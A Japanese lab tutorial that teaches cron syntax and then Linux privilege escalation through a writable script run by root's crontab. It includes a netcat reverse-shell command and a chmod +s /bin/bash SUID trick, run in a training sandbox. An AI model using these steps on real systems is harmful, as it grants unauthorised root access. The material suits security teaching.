はじめに
この実験では、Cron Jobs と cron 構文について学び、実践的な演習を通じて、すぐに crontab の使い方を習得することができます。さらに、誤った crontab 設定を利用して Linux 上で権限昇格を行う方法を理解します。
Cron ジョブと Cron 構文の理解
このステップでは、Cron Jobs と cron 構文について説明します。
Cron Jobs は Linux システムにおける「スケジュールされたタスク」で、定期的に実行する必要のあるコマンド(定期的なデータバックアップやキャッシュのクリアなど)をスケジュールするために一般的に使用されます。これらは cron ツール(crontab)を使用するため、Cron Jobs と呼ばれます。
Cron Jobs はシステム管理者が最もよく使用するツールの 1 つで、それ自体が優れたツールです。ただし、「スケジュールされたタスク」がより高いユーザー権限(例えば、root ユーザー)で実行されるように設定されている場合、攻撃者によって権限昇格のために悪用される可能性があります。
crontab コマンドは次の構文を使用します。
* * * * * [ user ] File/Command
- - - - -
| | | | |
| | | | +----- Day of the week (0 - 7) (0 = Sunday)
| | | +---------- Month (1 - 12)
| | +--------------- Day of the month (1 - 31)
| +-------------------- Hour (0 - 23)
+------------------------- Minute (0 - 59)
user フィールドはオプションです。指定しない場合、コマンドまたはスクリプトは現在のユーザーの権限で実行されます。
root ユーザーのみが、他のユーザーの権限でコマンドまたはスクリプトを実行するように指定できることに注意してください。
たとえば、Apache のエラーログを 1 時間ごとに出力したい場合は、次のステートメントを使用できます。
0 * * * * echo /var/log/lastlog
hour、day、month、week がすべて * に設定されているため、スケジュールされたタスクは分が 0 になるたびに 1 回実行され、つまり 1 時間ごとに実行されます。
2 時間ごとに 15 分にコマンドを実行する必要がある場合は、どうすればよいでしょうか?簡単に変更することができます。
15 */2 * * * echo /var/log/lastlog
cron の使い方を理解するために、例を見てみましょう。
ターミナルを開き、
/home/labex/projectディレクトリに移動します。次に、次のコマンドを実行して実験環境を初期化します。./env_setup1.sh初期化が成功すると、labex ユーザーのホームディレクトリに
cleanup.pyファイルとtrashDirectoryディレクトリが表示されます。trashDirectoryディレクトリには 2 つのファイルerror.logとreadme.txtが含まれています。この実験の目標は次のとおりです。
crontabを使用して、1 分ごとにcleanup.pyスクリプトを呼び出して/home/labex/project/trashDirectoryディレクトリ内のすべてのデータをクリアするスケジュールされたタスクを追加します。cleanup.pyスクリプトは、os.system()関数を通じてrmシステムコマンドを呼び出して/home/labex/project/trashDirectoryディレクトリをクリアするだけです。次に、次のコマンドを使用して crontab にスケジュールされたタスクを追加します。
echo "* * * * * root python /home/labex/project/cleanup.py" | sudo tee -a /etc/crontab > /dev/null上記のコマンドは、crontab ファイルにスケジュールされたタスクを追加します。このタスクは「毎分」実行され、
cleanup.pyスクリプトは root 権限で実行されます。この実験環境のマシンでは cron サービスがデフォルトで無効になっているため、次のコマンドで手動で起動する必要があります。
sudo service cron start期待される出力:
* Starting periodic command scheduler cron約「1 分」後に、
/home/labex/project/trashDirectoryディレクトリに入り、lsコマンドを使用すると、ディレクトリ内のデータがクリアされていることがわかり、cron ジョブが正しく実行されていることを示しています。
Crontab スクリプトを上書きしてリバースシェルを実行する
このステップでは、crontab が呼び出すスクリプトを上書きすることで権限昇格を行う方法を学びます。
まず、ターミナルを開き、
/home/labex/projectディレクトリに移動します。次に、次のコマンドを実行して実験環境を初期化します。cd /home/labex/project実験環境を初期化するスクリプトを実行します。
./env_setup2.sh初期化が成功したら、次のコマンドを使用してホスト上のスケジュールされたタスクを表示します。
cat /etc/crontabファイルの末尾にあるスケジュールされたタスクの 1 つが注目されます。システムは毎分、root として
/home/labex/project/cleanup.pyスクリプトを実行します。これは前のステップで使用したファイルです。次に、スクリプトの権限を確認しましょう。
ls -al /home/labex/project/cleanup.pycleanup.pyのファイル権限にはリスクがあることに気づきます。他のユーザーにも書き込み (w) 権限があります。つまり、cleanup.pyの内容を編集して変更することができます!cleanup.pyは root 権限で実行されるため、root 権限でリバースシェルを使用することができます。cleanup.pyスクリプトを変更して、nc.traditionalを使用してローカルポート 4444 にリバースシェルを接続します。... os.system("nc.traditional 127.0.0.1 4444 -e /bin/bash") ...ファイルを保存すると、変更は 1 分後に有効になります。
nc.traditionalを使用する理由は、デフォルトのncコマンドでは-eオプションがサポートされていないためです。次に、次のコマンドを実行してローカルポート 4444 を監視します。
nc -lnvp 4444期待される出力:
Listening on 0.0.0.0 4444しばらく待つと、root 権限でリバースシェルを正常に受信します。
Connection received on 127.0.0.1 45480whoamiコマンドを実行して、現在のユーザーを確認してみましょう。whoami root
Crontab スクリプトを上書きして Bash に SUID を付与する
先ほど議論した SUID 権限昇格を覚えていますか?cleanup.py スクリプトを使って、特定の実行可能ファイルの権限を変更し、setuid ビットを設定することもできます。これにより、SUID 権限昇格を行うことができます。例えば、bash に setuid ビットを設定することができます。
前のステップの後、root シェルにいる可能性があります。このステップでは、root シェルからログアウトし、次のコマンドを実行して labex ユーザーとして再度ログインする必要があります。
exit
または、新しいターミナルを開き、labex ユーザーとしてログインすることもできます。
次に、次のコマンドを実行して /home/labex/project ディレクトリに移動します。
cd /home/labex/project
現在、
/bin/bashには setuid ビットが設定されていません。ls -l /bin/bash前のステップと同様に、
cleanup.pyスクリプトが実行するコマンドを次のコマンドに変更します。... os.system("chmod +s /bin/bash") ...しばらくすると、
/bin/bashを確認すると、setuid ビットが設定されていることがわかります。これは、スケジュールされたタスクが正常に実行されたことを示しています。ls -l /bin/bash期待される出力:
-rwsr-sr-x 1 root root 1396520 Jan 7 2022 /bin/bash上記のように、現在は
bash -pを使って root 権限を取得することができます。labex:project/ $ bash -p bash-5.1## whoami root/rootディレクトリにsuccess.txtという名前のファイルを作成し、権限昇格に成功したことを示します。echo "Congratulations! You have successfully escalated privileges to root." > /root/success.txt
まとめ
この実験では、Cron Jobs と cron 構文について学び、実践的な演習を通じて crontab の使い方を習得しました。最後に、誤った crontab 設定を利用して、シェルの権限を root 権限に昇格させることに成功しました。